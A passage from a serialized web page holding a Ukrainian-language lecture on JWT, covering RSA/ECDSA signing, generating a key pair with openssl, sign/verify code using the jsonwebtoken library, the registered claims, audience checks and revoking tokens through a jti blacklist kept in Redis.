токени.",[5089,6448,6449],{},[5099,6450,6027],{},[5093,6452,6453,6458,6468,6473],{},[5096,6454,6455,6457],{},[5099,6456,5467],{}," (RSA SHA-256) — стандарт для OAuth 2.0 та OpenID Connect.",[5096,6459,6460,6463,6464,6467],{},[5099,6461,6462],{},"RS384"," (RSA SHA-384), ",[5099,6465,6466],{},"RS512"," (RSA SHA-512) — більша криптографічна стійкість.",[5096,6469,6470,6472],{},[5099,6471,5471],{}," (ECDSA SHA-256) — сучасний алгоритм на еліптичних кривих, коротші ключі за аналогічної безпеки.",[5096,6474,6475,6478,6479,6482],{},[5099,6476,6477],{},"ES384"," (ECDSA SHA-384), ",[5099,6480,6481],{},"ES512"," (ECDSA SHA-512).",[5089,6484,6485],{},[5099,6486,6487],{},"Приклад генерації пари ключів RSA:",[5262,6489,6493],{"className":6490,"code":6491,"language":6492,"meta":5270,"style":5270},"language-bash shiki shiki-themes light-plus dark-plus dark-plus","# Генерація приватного ключа (2048 біт)\nopenssl genrsa -out private.pem 2048\n\n# Витягування публічного ключа з приватного\nopenssl rsa -in private.pem -pubout -out public.pem\n","bash",[5110,6494,6495,6500,6517,6521,6526],{"__ignoreMap":5270},[5292,6496,6497],{"class":5294,"line":5295},[5292,6498,6499],{"class":5596},"# Генерація приватного ключа (2048 біт)\n",[5292,6501,6502,6505,6508,6511,6514],{"class":5294,"line":5301},[5292,6503,6504],{"class":5570},"openssl",[5292,6506,6507],{"class":5401}," genrsa",[5292,6509,6510],{"class":5531}," -out",[5292,6512,6513],{"class":5401}," private.pem",[5292,6515,6516],{"class":5688}," 2048\n",[5292,6518,6519],{"class":5294,"line":5307},[5292,6520,6091],{"emptyLinePlaceholder":6090},[5292,6522,6523],{"class":5294,"line":5313},[5292,6524,6525],{"class":5596},"# Витягування публічного ключа з приватного\n",[5292,6527,6528,6530,6533,6536,6538,6541,6543],{"class":5294,"line":5319},[5292,6529,6504],{"class":5570},[5292,6531,6532],{"class":5401}," rsa",[5292,6534,6535],{"class":5531}," -in",[5292,6537,6513],{"class":5401},[5292,6539,6540],{"class":5531}," -pubout",[5292,6542,6510],{"class":5531},[5292,6544,6545],{"class":5401}," public.pem\n",[5089,6547,6548],{},[5099,6549,6550],{},"Використання у коді:",[5262,6552,6554],{"className":5522,"code":6553,"language":5524,"meta":5270,"style":5270},"import { sign, verify } from 'jsonwebtoken';\nimport { readFileSync } from 'fs';\n\n\u002F\u002F Завантаження ключів з файлів\nconst privateKey = readFileSync('.\u002Fprivate.pem', 'utf8');\nconst publicKey = readFileSync('.\u002Fpublic.pem', 'utf8');\n\n\u002F\u002F Генерація токена (виконується лише на Authorization Server)\nconst token = sign(\n  {\n    sub: user.id,\n    email: user.email,\n    roles: user.roles,\n  },\n  privateKey,\n  {\n    algorithm: 'RS256',\n    expiresIn: '15m',\n  }\n);\n\n\u002F\u002F Верифікація токена (може виконуватися будь-яким сервісом з публічним ключем)\ntry {\n  const payload = verify(token, publicKey, {\n    algorithms: ['RS256'],\n  });\n  console.log('Token valid, user ID:', payload.sub);\n} catch (error) {\n  console.error('Token invalid:', error.message);\n}\n",[5110,6555,6556,6576,6594,6598,6603,6626,6648,6652,6657,6669,6673,6685,6697,6709,6713,6720,6724,6733,6741,6745,6749,6753,6758,6764,6785,6796,6800,6823,6836,6859],{"__ignoreMap":5270},[5292,6557,6558,6560,6562,6564,6566,6568,6570,6572,6574],{"class":5294,"line":5295},[5292,6559,6062],{"class":6061},[5292,6561,6065],{"class":5388},[5292,6563,6068],{"class":5542},[5292,6565,5221],{"class":5388},[5292,6567,6073],{"class":5542},[5292,6569,6076],{"class":5388},[5292,6571,6079],{"class":6061},[5292,6573,6082],{"class":5401},[5292,6575,6085],{"class":5388},[5292,6577,6578,6580,6582,6585,6587,6589,6592],{"class":5294,"line":5301},[5292,6579,6062],{"class":6061},[5292,6581,6065],{"class":5388},[5292,6583,6584],{"class":5542},"readFileSync",[5292,6586,6076],{"class":5388},[5292,6588,6079],{"class":6061},[5292,6590,6591],{"class":5401}," 'fs'",[5292,6593,6085],{"class":5388},[5292,6595,6596],{"class":5294,"line":5307},[5292,6597,6091],{"emptyLinePlaceholder":6090},[5292,6599,6600],{"class":5294,"line":5313},[5292,6601,6602],{"class":5596},"\u002F\u002F Завантаження ключів з файлів\n",[5292,6604,6605,6607,6610,6612,6614,6616,6619,6621,6624],{"class":5294,"line":5319},[5292,6606,5532],{"class":5531},[5292,6608,6609],{"class":5535}," privateKey",[5292,6611,5567],{"class":5388},[5292,6613,6584],{"class":5570},[5292,6615,5574],{"class":5388},[5292,6617,6618],{"class":5401},"'.\u002Fprivate.pem'",[5292,6620,5221],{"class":5388},[5292,6622,6623],{"class":5401},"'utf8'",[5292,6625,5928],{"class":5388},[5292,6627,6628,6630,6633,6635,6637,6639,6642,6644,6646],{"class":5294,"line":5325},[5292,6629,5532],{"class":5531},[5292,6631,6632],{"class":5535}," publicKey",[5292,6634,5567],{"class":5388},[5292,6636,6584],{"class":5570},[5292,6638,5574],{"class":5388},[5292,6640,6641],{"class":5401},"'.\u002Fpublic.pem'",[5292,6643,5221],{"class":5388},[5292,6645,6623],{"class":5401},[5292,6647,5928],{"class":5388},[5292,6649,6650],{"class":5294,"line":5331},[5292,6651,6091],{"emptyLinePlaceholder":6090},[5292,6653,6654],{"class":5294,"line":5337},[5292,6655,6656],{"class":5596},"\u002F\u002F Генерація токена (виконується лише на Authorization Server)\n",[5292,6658,6659,6661,6663,6665,6667],{"class":5294,"line":5343},[5292,6660,5532],{"class":5531},[5292,6662,6131],{"class":5535},[5292,6664,5567],{"class":5388},[5292,6666,6068],{"class":5570},[5292,6668,5900],{"class":5388},[5292,6670,6671],{"class":5294,"line":5348},[5292,6672,6142],{"class":5388},[5292,6674,6675,6677,6679,6681,6683],{"class":5294,"line":5354},[5292,6676,6147],{"class":5542},[5292,6678,6150],{"class":5542},[5292,6680,5580],{"class":5388},[5292,6682,6155],{"class":5542},[5292,6684,5405],{"class":5388},[5292,6686,6687,6689,6691,6693,6695],{"class":5294,"line":5360},[5292,6688,6162],{"class":5542},[5292,6690,6150],{"class":5542},[5292,6692,5580],{"class":5388},[5292,6694,6169],{"class":5542},[5292,6696,5405],{"class":5388},[5292,6698,6699,6701,6703,6705,6707],{"class":5294,"line":5366},[5292,6700,6176],{"class":5542},[5292,6702,6150],{"class":5542},[5292,6704,5580],{"class":5388},[5292,6706,6183],{"class":5542},[5292,6708,5405],{"class":5388},[5292,6710,6711],{"class":5294,"line":6213},[5292,6712,6190],{"class":5388},[5292,6714,6715,6718],{"class":5294,"line":6224},[5292,6716,6717],{"class":5542},"  privateKey",[5292,6719,5405],{"class":5388},[5292,6721,6722],{"class":5294,"line":6230},[5292,6723,6142],{"class":5388},[5292,6725,6726,6728,6731],{"class":5294,"line":6235},[5292,6727,6206],{"class":5542},[5292,6729,6730],{"class":5401}," 'RS256'",[5292,6732,5405],{"class":5388},[5292,6734,6735,6737,6739],{"class":5294,"line":6240},[5292,6736,6216],{"class":5542},[5292,6738,6219],{"class":5401},[5292,6740,5405],{"class":5388},[5292,6742,6743],{"class":5294,"line":6246},[5292,6744,6227],{"class":5388},[5292,6746,6747],{"class":5294,"line":6255},[5292,6748,5928],{"class":5388},[5292,6750,6751],{"class":5294,"line":6280},[5292,6752,6091],{"emptyLinePlaceholder":6090},[5292,6754,6755],{"class":5294,"line":6297},[5292,6756,6757],{"class":5596},"\u002F\u002F Верифікація токена (може виконуватися будь-яким сервісом з публічним ключем)\n",[5292,6759,6760,6762],{"class":5294,"line":6303},[5292,6761,6249],{"class":6061},[5292,6763,6252],{"class":5388},[5292,6765,6766,6768,6770,6772,6774,6776,6778,6780,6783],{"class":5294,"line":6329},[5292,6767,6258],{"class":5531},[5292,6769,5720],{"class":5535},[5292,6771,5567],{"class":5388},[5292,6773,6073],{"class":5570},[5292,6775,5574],{"class":5388},[5292,6777,6269],{"class":5542},[5292,6779,5221],{"class":5388},[5292,6781,6782],{"class":5542},"publicKey",[5292,6784,6277],{"class":5388},[5292,6786,6787,6789,6791,6794],{"class":5294,"line":6346},[5292,6788,6283],{"class":5542},[5292,6790,5751],{"class":5388},[5292,6792,6793],{"class":5401},"'RS256'",[5292,6795,5678],{"class":5388},[5292,6797,6798],{"class":5294,"line":6371},[5292,6799,6300],{"class":5388},[5292,6801,6803,6805,6807,6809,6811,6813,6815,6817,6819,6821],{"class":5294,"line":6802},27,[5292,6804,6306],{"class":5542},[5292,6806,5580],{"class":5388},[5292,6808,6311],{"class":5570},[5292,6810,5574],{"class":5388},[5292,6812,6316],{"class":5401},[5292,6814,5221],{"class":5388},[5292,6816,5851],{"class":5542},[5292,6818,5580],{"class":5388},[5292,6820,5131],{"class":5542},[5292,6822,5928],{"class":5388},[5292,6824,6826,6828,6830,6832,6834],{"class":5294,"line":6825},28,[5292,6827,6332],{"class":5388},[5292,6829,6335],{"class":6061},[5292,6831,6017],{"class":5388},[5292,6833,6340],{"class":5542},[5292,6835,6343],{"class":5388},[5292,6837,6839,6841,6843,6845,6847,6849,6851,6853,6855,6857],{"class":5294,"line":6838},29,[5292,6840,6306],{"class":5542},[5292,6842,5580],{"class":5388},[5292,6844,6340],{"class":5570},[5292,6846,5574],{"class":5388},[5292,6848,6357],{"class":5401},[5292,6850,5221],{"class":5388},[5292,6852,6340],{"class":5542},[5292,6854,5580],{"class":5388},[5292,6856,6366],{"class":5542},[5292,6858,5928],{"class":5388},[5292,6860,6862],{"class":5294,"line":6861},30,[5292,6863,5420],{"class":5388},[5089,6865,6866],{},[5099,6867,6868],{},"Переваги асиметричного підпису:",[5093,6870,6871,6878,6884],{},[5096,6872,6873,6874,6877],{},"✅ ",[5099,6875,6876],{},"Делегована верифікація:"," сторонні сервіси можуть перевіряти токени за допомогою публічного ключа без доступу до приватного.",[5096,6879,6873,6880,6883],{},[5099,6881,6882],{},"Безпека ротації:"," при зміні приватного ключа достатньо розповсюдити новий публічний ключ через JWKS endpoint (детальніше у наступних лекціях).",[5096,6885,6873,6886,6889],{},[5099,6887,6888],{},"Стандарт OAuth 2.0:"," всі великі провайдери (Google, Microsoft, Auth0) використовують RS256.",[5089,6891,6892],{},[5099,6893,6894],{},"Недоліки асиметричного підпису:",[5093,6896,6897,6903,6909],{},[5096,6898,6399,6899,6902],{},[5099,6900,6901],{},"Повільніше за HMAC:"," RSA операції потребують більше CPU ресурсів (різниця у 10–50 разів).",[5096,6904,6399,6905,6908],{},[5099,6906,6907],{},"Більший розмір токена:"," підпис RSA займає 256–512 байтів проти 32–64 байтів HMAC.",[5096,6910,6399,6911,6914],{},[5099,6912,6913],{},"Складніша інфраструктура:"," потрібне управління парою ключів, їхнє зберігання у секреті та розповсюдження публічних ключів.",[5089,6916,6917],{},[5099,6918,6919],{},"Коли використовувати асиметричний підпис:",[5093,6921,6922,6925,6928],{},[5096,6923,6924],{},"Мікросервісна архітектура, де десятки сервісів мають перевіряти токени без доступу до приватного ключа.",[5096,6926,6927],{},"OAuth 2.0 та OpenID Connect провайдери.",[5096,6929,6930],{},"Системи з делегованою авторизацією (токени видає один сервіс, перевіряють — інші).",[5985,6932,6933,6938],{},[5089,6934,6935],{},[5099,6936,6937],{},"Оптимальний вибір алгоритму:",[5093,6939,6940,6946,6952,6958],{},[5096,6941,6942,6945],{},[5099,6943,6944],{},"Монолітний застосунок:"," HS256 (простота та швидкість).",[5096,6947,6948,6951],{},[5099,6949,6950],{},"Мікросервіси з довіреним внутрішнім контуром:"," HS256 через shared secret у Kubernetes Secrets.",[5096,6953,6954,6957],{},[5099,6955,6956],{},"Публічні API з сторонніми клієнтами:"," RS256 (стандарт індустрії).",[5096,6959,6960,6963],{},[5099,6961,6962],{},"Сучасні high-performance системи:"," ES256 (баланс між швидкістю та безпекою).",[5169,6965],{},[5084,6967,6969],{"id":6968},"стандартні-claims-семантика-jwt","Стандартні Claims: семантика JWT",[5089,6971,6972,6973,6017,6976,6979],{},"JWT специфікація (RFC 7519) визначає набір ",[5099,6974,6975],{},"зареєстрованих claims",[6019,6977,6978],{},"registered claims",") зі стандартизованим семантичним значенням. Ці claims дозволяють системам обмінюватися токенами з передбачуваною структурою.",[5254,6981,6983],{"id":6982},"registered-claims-зареєстровані-твердження","Registered Claims (Зареєстровані твердження)",[5089,6985,6986],{},"Усі зареєстровані claims є опціональними, але їхнє використання дозволяє реалізувати складні сценарії безпеки.",[5427,6988,6989,7004],{},[5430,6990,6991],{},[5433,6992,6993,6996,6999,7002],{},[5436,6994,6995],{},"Claim",[5436,6997,6998],{},"Повна назва",[5436,7000,7001],{},"Тип",[5436,7003,5441],{},[5446,7005,7006,7028,7044,7064,7079,7093,7107],{},[5433,7007,7008,7012,7015,7018],{},[5451,7009,7010],{},[5110,7011,5127],{},[5451,7013,7014],{},"Issuer",[5451,7016,7017],{},"string",[5451,7019,7020,7021,7024,7025,5580],{},"Ідентифікатор сервера, що видав токен. Наприклад, ",[5110,7022,7023],{},"\"https:\u002F\u002Fauth.example.com\""," або ",[5110,7026,7027],{},"\"my-app-v1\"",[5433,7029,7030,7034,7037,7039],{},[5451,7031,7032],{},[5110,7033,5131],{},[5451,7035,7036],{},"Subject",[5451,7038,7017],{},[5451,7040,7041,7042,5580],{},"Ідентифікатор суб'єкта токена — зазвичай user ID або service account ID. Має бути унікальним у межах ",[5110,7043,5127],{},[5433,7045,7046,7050,7053,7058],{},[5451,7047,7048],{},[5110,7049,5135],{},[5451,7051,7052],{},"Audience",[5451,7054,7055,7056],{},"string або string",[5292,7057],{},[5451,7059,7060,7061,5580],{},"Призначення токена — який сервіс або застосунок має приймати цей токен. Наприклад, ",[5110,7062,7063],{},"\"api.example.com\"",[5433,7065,7066,7070,7073,7076],{},[5451,7067,7068],{},[5110,7069,5139],{},[5451,7071,7072],{},"Expiration Time",[5451,7074,7075],{},"number",[5451,7077,7078],{},"Unix timestamp у секундах, коли токен застаріває. Після цього часу токен вважається недійсним.",[5433,7080,7081,7085,7088,7090],{},[5451,7082,7083],{},[5110,7084,5147],{},[5451,7086,7087],{},"Not Before",[5451,7089,7075],{},[5451,7091,7092],{},"Unix timestamp у секундах, до якого токен ще не є дійсним. Використовується для запланованої активації.",[5433,7094,7095,7099,7102,7104],{},[5451,7096,7097],{},[5110,7098,5143],{},[5451,7100,7101],{},"Issued At",[5451,7103,7075],{},[5451,7105,7106],{},"Unix timestamp у секундах, коли токен був видан. Корисний для логування та аудиту.",[5433,7108,7109,7113,7116,7118],{},[5451,7110,7111],{},[5110,7112,5151],{},[5451,7114,7115],{},"JWT ID",[5451,7117,7017],{},[5451,7119,7120],{},"Унікальний ідентифікатор токена. Використовується для запобігання replay attacks або реалізації blacklist.",[5089,7122,7123],{},[5099,7124,7125],{},"Приклад токена з усіма registered claims:",[5262,7127,7129],{"className":5522,"code":7128,"language":5524,"meta":5270,"style":5270},"const payload = {\n  iss: 'https:\u002F\u002Fauth.myapp.com',          \u002F\u002F Хто видав\n  sub: '550e8400-e29b-41d4-a716-446655440000', \u002F\u002F Для кого\n  aud: ['api.myapp.com', 'admin.myapp.com'],   \u002F\u002F Де приймається\n  exp: Math.floor(Date.now() \u002F 1000) + 900,    \u002F\u002F Застаріває через 15 хвилин\n  nbf: Math.floor(Date.now() \u002F 1000),          \u002F\u002F Дійсний відразу\n  iat: Math.floor(Date.now() \u002F 1000),          \u002F\u002F Час видачі\n  jti: crypto.randomUUID(),                    \u002F\u002F Унікальний ID токена\n};\n\nconst token = sign(payload, SECRET_KEY, { algorithm: 'HS256' });\n",[5110,7130,7131,7139,7153,7164,7185,7217,7246,7273,7292,7296,7300],{"__ignoreMap":5270},[5292,7132,7133,7135,7137],{"class":5294,"line":5295},[5292,7134,5532],{"class":5531},[5292,7136,5720],{"class":5535},[5292,7138,5723],{"class":5388},[5292,7140,7141,7144,7147,7150],{"class":5294,"line":5301},[5292,7142,7143],{"class":5542},"  iss:",[5292,7145,7146],{"class":5401}," 'https:\u002F\u002Fauth.myapp.com'",[5292,7148,7149],{"class":5388},",          ",[5292,7151,7152],{"class":5596},"\u002F\u002F Хто видав\n",[5292,7154,7155,7157,7159,7161],{"class":5294,"line":5307},[5292,7156,5728],{"class":5542},[5292,7158,5731],{"class":5401},[5292,7160,5221],{"class":5388},[5292,7162,7163],{"class":5596},"\u002F\u002F Для кого\n",[5292,7165,7166,7169,7171,7174,7176,7179,7182],{"class":5294,"line":5313},[5292,7167,7168],{"class":5542},"  aud:",[5292,7170,5751],{"class":5388},[5292,7172,7173],{"class":5401},"'api.myapp.com'",[5292,7175,5221],{"class":5388},[5292,7177,7178],{"class":5401},"'admin.myapp.com'",[5292,7180,7181],{"class":5388},"],   ",[5292,7183,7184],{"class":5596},"\u002F\u002F Де приймається\n",[5292,7186,7187,7189,7191,7193,7195,7197,7199,7201,7203,7205,7207,7209,7211,7214],{"class":5294,"line":5319},[5292,7188,5793],{"class":5542},[5292,7190,5764],{"class":5542},[5292,7192,5580],{"class":5388},[5292,7194,5769],{"class":5570},[5292,7196,5574],{"class":5388},[5292,7198,5774],{"class":5542},[5292,7200,5580],{"class":5388},[5292,7202,5779],{"class":5570},[5292,7204,5782],{"class":5388},[5292,7206,5785],{"class":5688},[5292,7208,5814],{"class":5388},[5292,7210,5817],{"class":5688},[5292,7212,7213],{"class":5388},",    ",[5292,7215,7216],{"class":5596},"\u002F\u002F Застаріває через 15 хвилин\n",[5292,7218,7219,7222,7224,7226,7228,7230,7232,7234,7236,7238,7240,7243],{"class":5294,"line":5325},[5292,7220,7221],{"class":5542},"  nbf:",[5292,7223,5764],{"class":5542},[5292,7225,5580],{"class":5388},[5292,7227,5769],{"class":5570},[5292,7229,5574],{"class":5388},[5292,7231,5774],{"class":5542},[5292,7233,5580],{"class":5388},[5292,7235,5779],{"class":5570},[5292,7237,5782],{"class":5388},[5292,7239,5785],{"class":5688},[5292,7241,7242],{"class":5388},"),          ",[5292,7244,7245],{"class":5596},"\u002F\u002F Дійсний відразу\n",[5292,7247,7248,7250,7252,7254,7256,7258,7260,7262,7264,7266,7268,7270],{"class":5294,"line":5331},[5292,7249,5761],{"class":5542},[5292,7251,5764],{"class":5542},[5292,7253,5580],{"class":5388},[5292,7255,5769],{"class":5570},[5292,7257,5574],{"class":5388},[5292,7259,5774],{"class":5542},[5292,7261,5580],{"class":5388},[5292,7263,5779],{"class":5570},[5292,7265,5782],{"class":5388},[5292,7267,5785],{"class":5688},[5292,7269,7242],{"class":5388},[5292,7271,7272],{"class":5596},"\u002F\u002F Час видачі\n",[5292,7274,7275,7278,7281,7283,7286,7289],{"class":5294,"line":5337},[5292,7276,7277],{"class":5542},"  jti:",[5292,7279,7280],{"class":5542}," crypto",[5292,7282,5580],{"class":5388},[5292,7284,7285],{"class":5570},"randomUUID",[5292,7287,7288],{"class":5388},"(),                    ",[5292,7290,7291],{"class":5596},"\u002F\u002F Унікальний ID токена\n",[5292,7293,7294],{"class":5294,"line":5343},[5292,7295,5827],{"class":5388},[5292,7297,7298],{"class":5294,"line":5348},[5292,7299,6091],{"emptyLinePlaceholder":6090},[5292,7301,7302,7304,7306,7308,7310,7312,7314,7316,7318,7321,7324,7326],{"class":5294,"line":5354},[5292,7303,5532],{"class":5531},[5292,7305,6131],{"class":5535},[5292,7307,5567],{"class":5388},[5292,7309,6068],{"class":5570},[5292,7311,5574],{"class":5388},[5292,7313,5851],{"class":5542},[5292,7315,5221],{"class":5388},[5292,7317,6274],{"class":5535},[5292,7319,7320],{"class":5388},", { ",[5292,7322,7323],{"class":5542},"algorithm:",[5292,7325,5546],{"class":5401},[5292,7327,7328],{"class":5388}," });\n",[5254,7330,7332],{"id":7331},"детальний-розбір-критичних-claims","Детальний розбір критичних claims",[5089,7334,7335],{},[5099,7336,7337,7338,7340],{},"Claim ",[5110,7339,5139],{}," (Expiration Time):",[5089,7342,7343,7344,7347,7348,5519],{},"Це найважливіший claim для безпеки. Він визначає ",[5099,7345,7346],{},"автоматичне застарівання токена"," без необхідності серверного відкликання. Сервер при верифікації порівнює поточний час з ",[5110,7349,5139],{},[5262,7351,7353],{"className":5522,"code":7352,"language":5524,"meta":5270,"style":5270},"const payload = verify(token, SECRET_KEY);\nconst now = Math.floor(Date.now() \u002F 1000);\n\nif (payload.exp \u003C now) {\n  throw new UnauthorizedException('Token has expired');\n}\n",[5110,7354,7355,7375,7405,7409,7429,7447],{"__ignoreMap":5270},[5292,7356,7357,7359,7361,7363,7365,7367,7369,7371,7373],{"class":5294,"line":5295},[5292,7358,5532],{"class":5531},[5292,7360,5720],{"class":5535},[5292,7362,5567],{"class":5388},[5292,7364,6073],{"class":5570},[5292,7366,5574],{"class":5388},[5292,7368,6269],{"class":5542},[5292,7370,5221],{"class":5388},[5292,7372,6274],{"class":5535},[5292,7374,5928],{"class":5388},[5292,7376,7377,7379,7382,7384,7387,7389,7391,7393,7395,7397,7399,7401,7403],{"class":5294,"line":5301},[5292,7378,5532],{"class":5531},[5292,7380,7381],{"class":5535}," now",[5292,7383,5567],{"class":5388},[5292,7385,7386],{"class":5542},"Math",[5292,7388,5580],{"class":5388},[5292,7390,5769],{"class":5570},[5292,7392,5574],{"class":5388},[5292,7394,5774],{"class":5542},[5292,7396,5580],{"class":5388},[5292,7398,5779],{"class":5570},[5292,7400,5782],{"class":5388},[5292,7402,5785],{"class":5688},[5292,7404,5928],{"class":5388},[5292,7406,7407],{"class":5294,"line":5307},[5292,7408,6091],{"emptyLinePlaceholder":6090},[5292,7410,7411,7414,7416,7418,7420,7422,7425,7427],{"class":5294,"line":5313},[5292,7412,7413],{"class":6061},"if",[5292,7415,6017],{"class":5388},[5292,7417,5851],{"class":5542},[5292,7419,5580],{"class":5388},[5292,7421,5139],{"class":5542},[5292,7423,7424],{"class":5388}," \u003C ",[5292,7426,5779],{"class":5542},[5292,7428,6343],{"class":5388},[5292,7430,7431,7434,7437,7440,7442,7445],{"class":5294,"line":5319},[5292,7432,7433],{"class":6061},"  throw",[5292,7435,7436],{"class":5531}," new",[5292,7438,7439],{"class":5570}," UnauthorizedException",[5292,7441,5574],{"class":5388},[5292,7443,7444],{"class":5401},"'Token has expired'",[5292,7446,5928],{"class":5388},[5292,7448,7449],{"class":5294,"line":5325},[5292,7450,5420],{"class":5388},[5089,7452,7453,7454,7457,7458,5580],{},"Бібліотека ",[5110,7455,7456],{},"jsonwebtoken"," виконує цю перевірку автоматично при виклику ",[5110,7459,7460],{},"verify()",[5089,7462,7463],{},[5099,7464,7465,7466,7468],{},"Рекомендовані значення ",[5110,7467,5139],{}," для різних типів токенів:",[5093,7470,7471,7477,7483,7489],{},[5096,7472,7473,7476],{},[5099,7474,7475],{},"Access Token:"," 5–15 хвилин (баланс між безпекою та UX).",[5096,7478,7479,7482],{},[5099,7480,7481],{},"Refresh Token:"," 7–30 днів (зберігається у HttpOnly cookie або захищеному сховищі).",[5096,7484,7485,7488],{},[5099,7486,7487],{},"ID Token (OpenID Connect):"," 1 година (використовується лише для отримання інформації про користувача).",[5096,7490,7491,7494],{},[5099,7492,7493],{},"Email Verification Token:"," 24–48 годин (одноразовий, деактивується після використання).",[5089,7496,7497],{},[5099,7498,7337,7499,7501],{},[5110,7500,5135],{}," (Audience):",[5089,7503,7504],{},"Визначає, які сервіси мають право приймати цей токен. Це захищає від атак, де токен, видан для одного API, використовується для доступу до іншого:",[5262,7506,7508],{"className":5522,"code":7507,"language":5524,"meta":5270,"style":5270},"\u002F\u002F Генерація токена для конкретного API\nconst token = sign(\n  {\n    sub: user.id,\n    aud: 'api.myapp.com', \u002F\u002F Цей токен діє лише для API\n  },\n  SECRET_KEY\n);\n\n\u002F\u002F Перевірка audience при верифікації\ntry {\n  const payload = verify(token, SECRET_KEY, {\n    audience: 'api.myapp.com', \u002F\u002F Відхилить токени з іншим aud\n  });\n} catch (error) {\n  throw new UnauthorizedException('Token not intended for this service');\n}\n",[5110,7509,7510,7515,7527,7531,7543,7556,7560,7564,7568,7572,7577,7583,7603,7615,7619,7631,7646],{"__ignoreMap":5270},[5292,7511,7512],{"class":5294,"line":5295},[5292,7513,7514],{"class":5596},"\u002F\u002F Генерація токена для конкретного API\n",[5292,7516,7517,7519,7521,7523,7525],{"class":5294,"line":5301},[5292,7518,5532],{"class":5531},[5292,7520,6131],{"class":5535},[5292,7522,5567],{"class":5388},[5292,7524,6068],{"class":5570},[5292,7526,5900],{"class":5388},[5292,7528,7529],{"class":5294,"line":5307},[5292,7530,6142],{"class":5388},[5292,7532,7533,7535,7537,7539,7541],{"class":5294,"line":5313},[5292,7534,6147],{"class":5542},[5292,7536,6150],{"class":5542},[5292,7538,5580],{"class":5388},[5292,7540,6155],{"class":5542},[5292,7542,5405],{"class":5388},[5292,7544,7545,7548,7551,7553],{"class":5294,"line":5319},[5292,7546,7547],{"class":5542},"    aud:",[5292,7549,7550],{"class":5401}," 'api.myapp.com'",[5292,7552,5221],{"class":5388},[5292,7554,7555],{"class":5596},"\u002F\u002F Цей токен діє лише для API\n",[5292,7557,7558],{"class":5294,"line":5325},[5292,7559,6190],{"class":5388},[5292,7561,7562],{"class":5294,"line":5331},[5292,7563,5923],{"class":5535},[5292,7565,7566],{"class":5294,"line":5337},[5292,7567,5928],{"class":5388},[5292,7569,7570],{"class":5294,"line":5343},[5292,7571,6091],{"emptyLinePlaceholder":6090},[5292,7573,7574],{"class":5294,"line":5348},[5292,7575,7576],{"class":5596},"\u002F\u002F Перевірка audience при верифікації\n",[5292,7578,7579,7581],{"class":5294,"line":5354},[5292,7580,6249],{"class":6061},[5292,7582,6252],{"class":5388},[5292,7584,7585,7587,7589,7591,7593,7595,7597,7599,7601],{"class":5294,"line":5360},[5292,7586,6258],{"class":5531},[5292,7588,5720],{"class":5535},[5292,7590,5567],{"class":5388},[5292,7592,6073],{"class":5570},[5292,7594,5574],{"class":5388},[5292,7596,6269],{"class":5542},[5292,7598,5221],{"class":5388},[5292,7600,6274],{"class":5535},[5292,7602,6277],{"class":5388},[5292,7604,7605,7608,7610,7612],{"class":5294,"line":5366},[5292,7606,7607],{"class":5542},"    audience:",[5292,7609,7550],{"class":5401},[5292,7611,5221],{"class":5388},[5292,7613,7614],{"class":5596},"\u002F\u002F Відхилить токени з іншим aud\n",[5292,7616,7617],{"class":5294,"line":6213},[5292,7618,6300],{"class":5388},[5292,7620,7621,7623,7625,7627,7629],{"class":5294,"line":6224},[5292,7622,6332],{"class":5388},[5292,7624,6335],{"class":6061},[5292,7626,6017],{"class":5388},[5292,7628,6340],{"class":5542},[5292,7630,6343],{"class":5388},[5292,7632,7633,7635,7637,7639,7641,7644],{"class":5294,"line":6230},[5292,7634,7433],{"class":6061},[5292,7636,7436],{"class":5531},[5292,7638,7439],{"class":5570},[5292,7640,5574],{"class":5388},[5292,7642,7643],{"class":5401},"'Token not intended for this service'",[5292,7645,5928],{"class":5388},[5292,7647,7648],{"class":5294,"line":6235},[5292,7649,5420],{"class":5388},[5089,7651,7652],{},[5099,7653,7337,7654,7656],{},[5110,7655,5151],{}," (JWT ID):",[5089,7658,7659,7660,5519],{},"Унікальний ідентифікатор токена, що дозволяє реалізувати ",[5099,7661,7662],{},"blacklist відкликаних токенів",[5262,7664,7666],{"className":5522,"code":7665,"language":5524,"meta":5270,"style":5270},"\u002F\u002F Генерація токена з унікальним ID\nconst jti = crypto.randomUUID();\nconst token = sign(\n  {\n    sub: user.id,\n    jti: jti,\n    exp: Math.floor(Date.now() \u002F 1000) + 900,\n  },\n  SECRET_KEY\n);\n\n\u002F\u002F При виході користувача — додаємо jti до blacklist у Redis\nawait redis.setex(`blacklist:${jti}`, 900, 'revoked'); \u002F\u002F TTL = exp - now\n\n\u002F\u002F При верифікації — перевірка blacklist\nconst payload = verify(token, SECRET_KEY);\nconst isBlacklisted = await redis.exists(`blacklist:${payload.jti}`);\n\nif (isBlacklisted) {\n  throw new UnauthorizedException('Token has been revoked');\n}\n",[5110,7667,7668,7673,7692,7704,7708,7720,7729,7758,7762,7766,7770,7774,7779,7823,7827,7832,7852,7889,7893,7904,7919],{"__ignoreMap":5270},[5292,7669,7670],{"class":5294,"line":5295},[5292,7671,7672],{"class":5596},"\u002F\u002F Генерація токена з унікальним ID\n",[5292,7674,7675,7677,7680,7682,7685,7687,7689],{"class":5294,"line":5301},[5292,7676,5532],{"class":5531},[5292,7678,7679],{"class":5535}," jti",[5292,7681,5567],{"class":5388},[5292,7683,7684],{"class":5542},"crypto",[5292,7686,5580],{"class":5388},[5292,7688,7285],{"class":5570},[5292,7690,7691],{"class":5388},"();\n",[5292,7693,7694,7696,7698,7700,7702],{"class":5294,"line":5307},[5292,7695,5532],{"class":5531},[5292,7697,6131],{"class":5535},[5292,7699,5567],{"class":5388},[5292,7701,6068],{"class":5570},[5292,7703,5900],{"class":5388},[5292,7705,7706],{"class":5294,"line":5313},[5292,7707,6142],{"class":5388},[5292,7709,7710,7712,7714,7716,7718],{"class":5294,"line":5319},[5292,7711,6147],{"class":5542},[5292,7713,6150],{"class":5542},[5292,7715,5580],{"class":5388},[5292,7717,6155],{"class":5542},[5292,7719,5405],{"class":5388},[5292,7721,7722,7725,7727],{"class":5294,"line":5325},[5292,7723,7724],{"class":5542},"    jti:",[5292,7726,7679],{"class":5542},[5292,7728,5405],{"class":5388},[5292,7730,7731,7734,7736,7738,7740,7742,7744,7746,7748,7750,7752,7754,7756],{"class":5294,"line":5331},[5292,7732,7733],{"class":5542},"    